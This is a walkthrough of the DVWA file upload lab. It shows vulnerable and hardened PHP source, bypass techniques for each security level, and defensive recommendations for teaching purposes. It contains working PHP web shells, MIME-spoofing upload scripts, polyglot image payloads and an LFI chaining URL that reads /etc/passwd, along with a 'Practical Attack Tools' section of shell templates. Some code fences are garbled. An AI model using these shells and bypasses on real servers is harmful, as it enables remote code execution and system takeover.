Skip to main content

Overview

Uploaded files represent a significant risk to web applications. The first step in many attacks is to get malicious code onto the target system. Using a file upload vulnerability helps attackers accomplish this goal. The consequences of unrestricted file upload include:
  • Complete system takeover via remote code execution
  • Overloaded file systems leading to denial of service
  • Defacement by overwriting web content
  • Backend system attacks by forwarding malicious files
  • Data exfiltration through uploaded web shells

Objective

Execute arbitrary PHP functions (such as phpinfo() or system()) on the target system by exploiting file upload vulnerabilities.

Vulnerability Analysis by Security Level

Low Security

Vulnerability: No file type or content validation whatsoever. Source Code (/vulnerabilities/upload/source/low.php:1-19):
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        $html .= '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
```php

**Weaknesses**:
- No file extension validation
- No MIME type checking
- No content validation
- Files uploaded with original name (no randomization)
- Uploads to web-accessible directory

**Attack Methodology**:

1. **Create PHP web shell** (`shell.php`):

```php
<?php
// Simple command execution shell
if(isset($_REQUEST['cmd'])) {
    echo "<pre>";
    system($_REQUEST['cmd']);
    echo "</pre>";
    die;
}
?>

<!DOCTYPE html>
<html>
<body>
<form method="GET">
    <input type="text" name="cmd" placeholder="Enter command" />
    <input type="submit" value="Execute" />
</form>
</body>
</html>
  1. Upload via form:
    • Select shell.php in file upload form
    • Click “Upload”
    • Note the success message with file path
  2. Access uploaded shell:
http://dvwa.local/hackable/uploads/shell.php
  1. Execute commands:
http://dvwa.local/hackable/uploads/shell.php?cmd=whoami
http://dvwa.local/hackable/uploads/shell.php?cmd=ls -la
http://dvwa.local/hackable/uploads/shell.php?cmd=cat /etc/passwd

Medium Security

Mitigation Attempt: Client-side MIME type validation Source Code (/vulnerabilities/upload/source/medium.php:1-33):
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
```http

**Weaknesses**:
- Relies on `$_FILES['uploaded']['type']` which is **client-controlled**
- No server-side content verification
- No extension validation
- MIME type can be spoofed

**Bypass Method 1: Burp Suite/Intercept MIME Type**

1. Upload `shell.php` through form
2. Intercept request with Burp Suite:

```http
POST /vulnerabilities/upload/ HTTP/1.1
Host: dvwa.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
  1. Modify Content-Type to:
Content-Type: image/jpeg
```text

4. Forward modified request

**Bypass Method 2: cURL with Spoofed MIME**

```bash
curl -X POST \
  -F "[email protected];type=image/jpeg" \
  -F "Upload=Upload" \
  -b "PHPSESSID=abc123; security=medium" \
  http://dvwa.local/vulnerabilities/upload/
Bypass Method 3: Python Script
import requests

url = 'http://dvwa.local/vulnerabilities/upload/'
cookies = {'PHPSESSID': 'abc123', 'security': 'medium'}

files = {
    'uploaded': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg')
}
data = {'Upload': 'Upload'}

response = requests.post(url, files=files, data=data, cookies=cookies)
print(response.text)
```bash

### High Security

**Mitigation Attempt**: Extension validation + MIME type + image verification

**Source Code** (`/vulnerabilities/upload/source/high.php:1-35`):

```php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
Protections:
  • Extension whitelist (.jpg, .jpeg, .png)
  • Size limit (< 100KB)
  • getimagesize() validation
Weaknesses:
  • getimagesize() only checks file headers, not content
  • PHP code can be embedded in image metadata
  • Doesn’t strip dangerous content
Bypass Method 1: Image with Embedded PHP
  1. Create valid JPEG with PHP payload:
# Start with valid image
cp valid_image.jpg shell.jpg

# Add PHP code to end (after JPEG data)
echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg
```bash

2. **Upload `shell.jpg`** - passes all checks

3. **Exploit via File Inclusion vulnerability**:
   - Chain with Local File Inclusion (LFI)
   - Access via: `http://dvwa.local/vulnerabilities/fi/?page=../../hackable/uploads/shell.jpg&cmd=whoami`

**Bypass Method 2: Exiftool Metadata Injection**

```bash
# Inject PHP into image Comment field
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg

# Upload shell.jpg
# Access via LFI or if Apache executes .jpg as PHP
Bypass Method 3: GIF89a Header Trick
GIF89a
<?php system($_GET['cmd']); ?>
```sql

Save as `shell.php.gif` and upload. If server has misconfigured MIME handling, might execute.

### Impossible Security

**Proper Defense Implementation**

**Source Code** (`/vulnerabilities/upload/source/impossible.php:1-62`):

```php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            $html .= "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            $html .= '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();
Defense Mechanisms:
  1. Anti-CSRF Token: Prevents automated upload attacks
  2. Extension Whitelist: Only .jpg, .jpeg, .png allowed
  3. MIME Type Validation: Checks both client and server-determined types
  4. Image Verification: Uses getimagesize()
  5. Re-encoding: Critical - completely re-creates image, stripping all metadata and embedded code
  6. Filename Randomization: Uses md5(uniqid()) to prevent predictable names
  7. Temporary Processing: Works in temp directory before moving to final location
  8. Size Limits: Enforces 100KB maximum
Why Re-encoding is Critical:
// This removes ALL metadata and embedded PHP:
if( $uploaded_type == 'image/jpeg' ) {
    $img = imagecreatefromjpeg( $uploaded_tmp );  // Parse image
    imagejpeg( $img, $temp_file, 100);             // Re-encode as clean JPEG
}
```bash

- Reads only valid image data
- Discards comments, EXIF data, and any non-image content
- Creates brand new file with only pixel data
- PHP code in metadata is completely stripped

## Defense Recommendations

### 1. Whitelist File Extensions

```php
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

if (!in_array($extension, $allowed_extensions)) {
    die('Invalid file type');
}

2. Validate MIME Type (Server-Side)

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mimes)) {
    die('Invalid file type');
}
```bash

### 3. Re-encode Images (Most Important)

```php
// For JPEG
$img = imagecreatefromjpeg($tmpFile);
imagejpeg($img, $targetFile, 90);
imagedestroy($img);

// For PNG
$img = imagecreatefrompng($tmpFile);
imagepng($img, $targetFile, 9);
imagedestroy($img);

4. Randomize Filenames

$newFilename = bin2hex(random_bytes(16)) . '.' . $extension;
$targetPath = '/uploads/' . $newFilename;
```bash

### 5. Store Outside Web Root

```php
// Store files outside public directory
$uploadDir = '/var/app_data/uploads/';

// Serve via PHP script that validates access
header('Content-Type: ' . $mime);
header('Content-Disposition: inline; filename="' . $originalName . '"');
readfile($uploadDir . $hashedFilename);

6. Disable Script Execution in Upload Directory

Apache (.htaccess):
# Place in /uploads/.htaccess
php_flag engine off
AddType text/plain .php .php3 .php4 .php5 .phtml
```text

**Nginx**:
```nginx
location /uploads/ {
    location ~ \.php$ {
        deny all;
    }
}

7. Complete Validation Function

function validateImageUpload($file) {
    // Check for upload errors
    if ($file['error'] !== UPLOAD_ERR_OK) {
        return ['success' => false, 'error' => 'Upload failed'];
    }
    
    // Validate extension
    $allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($ext, $allowed_ext)) {
        return ['success' => false, 'error' => 'Invalid extension'];
    }
    
    // Validate MIME type
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);
    
    $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($mime, $allowed_mimes)) {
        return ['success' => false, 'error' => 'Invalid MIME type'];
    }
    
    // Validate image content
    $imageInfo = getimagesize($file['tmp_name']);
    if ($imageInfo === false) {
        return ['success' => false, 'error' => 'Not a valid image'];
    }
    
    // Validate size (5MB max)
    if ($file['size'] > 5 * 1024 * 1024) {
        return ['success' => false, 'error' => 'File too large'];
    }
    
    // Validate dimensions (optional)
    if ($imageInfo[0] > 4096 || $imageInfo[1] > 4096) {
        return ['success' => false, 'error' => 'Image dimensions too large'];
    }
    
    // Re-encode image
    $newFilename = bin2hex(random_bytes(16)) . '.' . $ext;
    $targetPath = UPLOAD_DIR . $newFilename;
    
    switch($mime) {
        case 'image/jpeg':
            $img = imagecreatefromjpeg($file['tmp_name']);
            imagejpeg($img, $targetPath, 90);
            break;
        case 'image/png':
            $img = imagecreatefrompng($file['tmp_name']);
            imagepng($img, $targetPath, 9);
            break;
        case 'image/gif':
            $img = imagecreatefromgif($file['tmp_name']);
            imagegif($img, $targetPath);
            break;
    }
    imagedestroy($img);
    
    return ['success' => true, 'filename' => $newFilename];
}
```bash

## Practical Attack Tools

### Web Shell Templates

**Minimal Shell**:
```php
<?php system($_GET['c']); ?>
Featured Shell:
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

<form method="POST">
    Command: <input type="text" name="cmd" />
    <input type="submit" value="Execute" />
</form>
```bash

**File Browser Shell**:
```php
<?php
$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
echo "<h3>" . htmlspecialchars($dir) . "</h3>";
echo "<pre>";
$files = scandir($dir);
foreach($files as $file) {
    $path = $dir . '/' . $file;
    echo is_dir($path) ? "[DIR] " : "[FILE] ";
    echo "<a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($file) . "</a>\n";
}
echo "</pre>";
?>

Bypassing getimagesize()

Create polyglot JPEG/PHP:
#!/bin/bash
# Create valid JPEG with embedded PHP

# Get valid image
wget https://via.placeholder.com/150 -O base.jpg

# Append PHP code
echo '\n<?php system($_GET["c"]); ?>' >> base.jpg

# Verify it's still valid image
file base.jpg  # Should show: JPEG image data

# Upload and access via LFI
```php

**Using Exiftool**:
```bash
exiftool -Comment='<?php echo "<pre>"; system($_GET["c"]); echo "</pre>"; ?>' image.jpg

Key Takeaways

  1. Never trust client input: MIME types and extensions can be spoofed
  2. Validate server-side: Use finfo_file() and getimagesize()
  3. Re-encode images: This is the only way to truly strip malicious content
  4. Randomize filenames: Prevents predictable file paths
  5. Store outside webroot: Or disable script execution in upload directory
  6. Defense in depth: Combine multiple validation layers
  7. Consider file inclusion: Upload + LFI = RCE even with image validation

References

Build docs developers (and LLMs) love